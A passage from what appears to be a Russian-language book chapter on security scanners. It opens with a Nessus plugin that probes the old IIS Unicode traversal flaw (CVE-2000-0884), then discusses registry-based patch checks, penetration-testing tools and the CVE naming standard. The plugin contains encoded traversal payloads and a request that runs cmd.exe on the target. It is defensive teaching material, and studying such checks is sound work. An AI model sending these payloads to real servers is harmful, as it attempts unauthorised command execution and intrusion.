dir[8] = “/cgi-bin/”;
dir[9] = “/”;
uni[0] = “%c0%af”;
uni[1] = “%c0%9v”;
uni[2] = “%c1%c1”;
uni[3] = “%c0%qf”;
uni[4] = “%c1%8s”;
uni[5] = “%c1%9c”;
uni[6] = “%c1%pc”;
uni[7] = “%c1%1c”;
uni[8] = “%c0%2f”;
uni[9] = “%e0%80%af”;
function check(req)
{
soc = open_sock_tcp(port);
if(soc)
{
req = http_get(item:req, port:port);
send(socket:soc, data:req);
r = recv(socket:soc, length:1024);
close(soc);
pat = “
”;
pat2 = “Directory of C”;
if((pat >< r) || (pat2 >< r)){
security_hole(port:port);
return(1);
}
}
return(0);
}
cmd = “/winnt/system32/cmd.exe?/c+dir+c:\\+/OG”;
for(d=0;dir[d];d=d+1)
{
for(u=0;uni[u];u=u+1)
{
url = string(dir[d], “..”, uni[u], “..”, uni[u], “..”,
uni[u], “..”, uni[u], “..”, uni[u], “..”, cmd);
if(check(req:url))exit(0);
}
}
Как читатель может понять, программа проверки, написанная Муром (H D Moore) для сканера Nessus, активно попытается воспользоваться известной ей уязвимостью. В случае обнаружения уязвимого хоста будет послано сообщение. С другой стороны, программа может проверить ту же самую уязвимость путем простой проверки соответствующего ключа реестра:
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\%HOTFIX_NUMBER%
Последний способ проще, и вероятно, его легче запрограммировать, но у него есть несколько недостатков. Во-первых, для проверки ключа реестра требуется доступ с правами администратора. Во-вторых, рассматриваемый способ может как подтвердить факт инсталляции заплаты системы безопасности Hotfix, так и не подтвердить его, если заплата была установлена правильно или если система на самом деле неуязвима. Часто инсталляция этой возможности в Windows NT вынуждает операционную систему затребовать чтение файлов с оригинального инсталляционного CD-диска, что в значительной степени ведет к возврату в небезопасное состояние системы после ее первой инсталляции. Причем после инсталляции ключ останется в реестре, хотя исправляемая заплатой ошибка не будет еще исправлена патчем.
Современные традиционные инструментальные средства, столкнувшись с такой ситуацией, прекратят свою работу и отошлют отчет с результатами сканирования обратно оператору. Некоторые из новейших, ныне разрабатываемых инструментальных средств способны продвинуться на шаг дальше. Далее на примере той же самой уязвимости CVE ID 2000–0884 информационного сервера Интернет IIS будут объяснены подходы к ее разрешению, которые используются в некоторых разрабатываемых инструментальных средствах тестирования на проникновение.
Алгоритм работы подобных инструментальных средств предусматривает следующую последовательность действий. Сначала они попытаются определить, уязвима система или нет, используя для этого почти такой же сценарий, как и плагин (подключаемая программа) к сканеру Nessus. Затем найденная уязвимость будет использована для дальнейшего сбора информации о сканируемом хосте и его сети. Собрав необходимую информацию и используя другие уязвимости совместно с командами, даже простыми, перспективные инструментальные средства тестирования на проникновение попытаются проникнуть в систему и ее сеть дальше.
Многие консультирующие структуры, которые занимаются тестированием на проникновение, уже обладают инструментарием для выполнения этих задач, хотя ни одно из них в настоящее время недоступно ни как коммерческий, ни как свободно распространяемый продукт.
Анализ коммерческих инструментальных средств
Сегодня на рынке доступны многочисленные коммерческие инструментальные средства. Покупка любого из них является задачей, которая может привести в замешательство и отпугнуть потенциального покупателя своей сложностью. Как и в случае с большинством других продуктов, группа маркетинга каждого производителя будет убеждать покупателя, что их программа лучшая и что она выполняет больше всех проверок. Проблема при покупке рассматриваемого инструментария состоит в том, что не все производители оценивают их по единым критериям. Финансируемая федеральным правительством США организация проектно-конструкторских работ Mitre (www.mitre.org) частично обратила внимание на эту проблему, создав словарь распространенных уязвимостей и дефектов CVE (Common Vulnerabilities and Exposures). Этот словарь является стандартизированным соглашением по именованию уязвимостей и дефектов информационной безопасности. Создание словаря CVE преследовало цель облегчить для производителей инструментария безопасности и конечных пользователей установку соответствия между информацией об уязвимости и многочисленными инструментальными средствами. В настоящее время ряд коммерческих и свободно распространяемых инструментальных средств установили или находятся в процессе установления соответствия между своими базами данных и идентификаторов словаря CVE. Следует отметить, что такое соответствие очень важно для оценки использования рассматриваемых инструментальных средств. В таблице 17.1 приведены некоторые сканеры и число обнаруживаемых ими уязвимостей.
Читать дальше
Конец ознакомительного отрывка
Купить книгу